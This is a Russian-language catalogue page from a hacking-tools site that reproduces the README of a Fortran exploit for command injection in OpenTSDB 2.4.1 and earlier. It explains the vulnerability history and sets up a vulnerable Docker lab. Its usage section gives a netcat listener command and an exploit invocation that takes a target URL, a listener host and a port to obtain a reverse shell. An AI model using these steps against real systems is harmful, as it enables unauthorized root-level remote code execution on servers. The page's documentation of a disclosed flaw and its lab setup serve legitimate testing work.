Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
opentsdb_key_cmd_injection — Эксплойт для OpenTSDB <= 2.4.1, эксплуатирующий инъекцию команд (CVE-2023-36812/CVE-2023-25826), написанный на Fortran. | Kitploit
Инструменты/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHuberikwynter/opentsdb_key_cmd_injection

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

opentsdb_key_cmd_injection

Эксплойт для OpenTSDB <= 2.4.1, эксплуатирующий инъекцию команд (CVE-2023-36812/CVE-2023-25826), написанный на Fortran.

Репозиторий
712 лет назадЕщё не проверено

opentsdb_key_cmd_injection

Эксплойт для инъекции команд в OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826), написанный на Fortran

О проекте

Это эксплойт для уязвимости инъекции команд в OpenTSDB версий 2.4.1 и более ранних (CVE-2023-36812/CVE-2023-25826). Эксплойт написан на современном Fortran и использует официальную библиотеку http-client для Fortran, созданную ранее в этом году.

Детали уязвимости

OpenTSDB — это открытая база данных временных рядов, написанная на Java. В 2020 году в версиях 2.4.0 и более ранних была обнаружена уязвимость инъекции команд, которая позволяла получить удалённое выполнение кода на хосте с правами root. Поскольку OpenTSDB не поддерживает аутентификацию, эта уязвимость, отслеживаемая как CVE-2020-35476, могла быть использована любым, у кого есть доступ к веб-интерфейсу OpenTSDB. Проблема была исправлена в версии 2.4.1.

В этом году было обнаружено, что патч для CVE-2020-35476 неполон, и инъекция команд по-прежнему возможна в OpenTSDB 2.4.1 через несколько векторов.

Детали:

  • Идентификатор: CVE-2023-36812. Стоит отметить, что CVE-2023-25826, судя по всему, описывает ту же уязвимость, и обе записи CVE ведут на один и тот же патч.
  • Security advisory: https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • Авторы: Gal Goldstein и Daniel Abeles из Oxeye
  • Патч: патч появится в 2.4.2, которая пока не является официальным релизом. На момент написания текста последний релиз OpenTSDB — 2.4.1, поэтому, скорее всего, большинство продакшн-инстансов OpenTSDB уязвимы. При этом в FAQ OpenTSDB подчёркивается, что этот проект «был написан только для внутреннего использования» и «не проходил никакого аудита безопасности и не включает аутентификацию».

Почему Fortran?

Короче говоря, я увидел этот разговор: why

Идея написать эксплойт на языке программирования, на котором людей отправили на Луну, настолько меня заинтриговала, что я должен был попробовать сам. Этот эксплойт — результат того эксперимента. На вопрос, был ли он успешным, я могу ответить лишь этими мудрыми, но проклятыми словами, которые кровно связывают всех разработчиков: У меня работает. ¯\(ツ)/¯

В любом случае, вот мои ключевые выводы из этого проекта:

  • Fortran на самом деле довольно крут и на удивление прост в освоении.
  • Современная экосистема Fortran, включая пакетный менеджер fpm, выглядит очень многообещающей.
  • Fortran — язык со строгой типизацией, и я счёл это плюсом, поскольку почти не сталкивался с неприятными ошибками времени выполнения.
  • Проекты Fortran с зависимостями получаются большими, потому что fpm включает исходный код зависимостей прямо в ваш проект. Плюс в том, что это позволяет не засорять систему.
  • Поддержка библиотек относительно ограничена и хаотична по сравнению с современными языками. К сожалению, это касается не только библиотеки http-client.
  • Неудивительно, что хорошую документацию и советы по устранению проблем найти сложнее, чем у большинства современных языков программирования, хотя на StackOverflow и давно забытых форумах начала 2000-х всё ещё можно найти немало полезных постов.
  • ИИ-инструменты вроде ChatGPT и GitHub Copilot как напарники по программированию здесь ещё менее надёжны, чем в случае с современными языками.

В целом трудно представить, что этот язык действительно обретёт значимость в offensive security, хотя бы потому, что для любого мыслимого сценария есть множество надёжных современных альтернатив (Python, Go, Rust, Ruby, C# — лишь некоторые из них). Но если вам нравится экспериментировать с разными языками программирования и вы не против постоянно оборачивать строки в вызовы trim() (ОБРАТИТЕ НА ЭТО ВНИМАНИЕ, ЭТО ИЗБАВИТ ВАС ОТ ОГРОМНЫХ СТРАДАНИЙ), Fortran определённо стоит попробовать. Сейчас я без иронии болею за этот язык и, возможно, вернусь к нему, если они продолжат добавлять поддержку в библиотеку http-client, особенно если когда-нибудь добавят библиотеку http-server.

TL;DR: Fortran http-client lib делает «брр».

Использование

  • Запустите слушатель на своей системе, например:
root@kitploit:~
nc -nlvp 1337
  • В отдельном окне перейдите в каталог opentsdb_key_cmd_injection
root@kitploit:~
# cd /path/to/opentsdb_key_cmd_injection/
  • Запустите проект через fpm (убедитесь, что сначала установили его. Инструкции по установке — в следующем разделе)
root@kitploit:~
# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]

Параметры:

  • -t - TARGET URL: базовый URL OpenTSDB (обязательно)
  • -l - LHOST: IP-адрес системы, на которой запущен слушатель (обязательно)
  • -p - LPORT: порт слушателя (обязательно)
  • -v - VERBOSE: включить подробный вывод (необязательно)

Установка

  • Установите gfortran. В системах на базе Debian это делается так:
root@kitploit:~
apt install gfortran
  • Установите fpm. Проще всего загрузить бинарник последнего стабильного релиза из релизов fpm на GitHub и сделать его исполняемым:
root@kitploit:~
chmod +x /<path>/to/fpm

Перед установкой fpm убедитесь, что в вашей системе установлен git.

Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

Настройка экземпляра OpenTSDB для тестирования

Установка вручную (не рекомендуется)

Для установки вручную вы можете следовать официальным инструкциям здесь. Впрочем, это может быть утомительно, поэтому я рекомендую вместо этого использовать Docker.

Установка через Docker (рекомендуется)

Для версии 2.4.0 можно использовать docker-образ vulhub и следовать инструкциям по установке здесь. Этот образ был создан для CVE-2020-35476 — более старой уязвимости в OpenTSDB до версии 2.4.0 включительно.

Для версии 2.4.1 и, вероятно, любой другой версии можно использовать образ vulhub для OpenTSDB 2.4.0 и отредактировать его так, чтобы установить нужную вам версию. Я применил этот подход для 2.4.1, и всё отлично сработало.

  • Сначала возьмите файлы Dockerfile и docker-entrypoint.sh из vulhub OpenTSDB 2.4.0 здесь и сохраните их в отдельном каталоге.
  • В Dockerfile замените все вхождения 2.4.0 на нужную версию, например 2.4.1
  • Править docker-entrypoint.sh не нужно.
  • Создайте файл docker-compose.yml со следующим содержимым:
root@kitploit:~
version: '2'
services:
 opentsdb:
   build: ./path-to-your-dockerfile-directory
   ports:
    - "4242:4242"

Я использовал такую структуру файлов:

root@kitploit:~
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"
  • Наконец, соберите и запустите образ через docker-compose, выполнив приведённую ниже команду в каталоге с вашим файлом docker-compose.yml:
root@kitploit:~
docker-compose up -d
  • Через несколько секунд OpenTSDB будет доступен на порту 4242. Никакой дополнительной настройки не требуется.

Краткая история Fortran (почему бы и нет)

Fortran в основном известен как архаичный язык, сыгравший важную роль в истории современной вычислительной техники, но сегодня его уже нельзя считать актуальным. Впервые он был выпущен в 1957 году — более чем на десятилетие раньше и ARPANET, и Unix. Судя по этому видео с временными рядами, он был доминирующим языком программирования на протяжении 1960-х и 1970-х годов и оставался в десятке самых популярных языков до конца 1990-х. Но ко времени выхода Windows 98 он явно вышел из моды, уступив место более современным языкам вроде C, C++, Java и JavaScript, которые и сегодня по-прежнему широко используются.

Не считая смельчаков, которые поддерживают легаси-системы, сомневаюсь, что многие в IT (уж не говоря о тех, кто вне нашего пузыря) сталкивались с Fortran за последние два десятилетия или вообще знают, что он всё ещё существует. Несмотря на это, Fortran продолжает активно развиваться. Как указано на официальном сайте Fortran, последний пересмотр языка состоялся в 2018 году, и, будем надеяться, ещё один пересмотр мы увидим в этом году (2023). Более того, похоже, что в последние несколько лет сообщество Fortran было очень активным и выпустило несколько крупных проектов, помогающих модернизировать экосистему, в том числе:

  • stdlib: первая в истории стандартная библиотека Fortran (первый релиз: 2021)
  • fpm: современный пакетный менеджер и система сборки под названием fpm (первый альфа-релиз: 2020)
  • http-client: упомянутая ранее HTTP-клиентская библиотека (первый релиз: 2023).

С учётом этого похоже, что мейнтейнеры нацелены на своего рода возвращение Fortran или, по крайней мере, на то, чтобы дать языку реальный шанс просуществовать ещё несколько десятилетий. Хотя даже самый ярый фанат Fortran вряд ли ожидает, что язык снова войдёт в десятку самых популярных языков программирования, продолжающаяся модернизация языка и его экосистемы, вероятно, сделала Fortran более актуальным, чем он был за последние десять-двадцать лет.

Скачать инструмент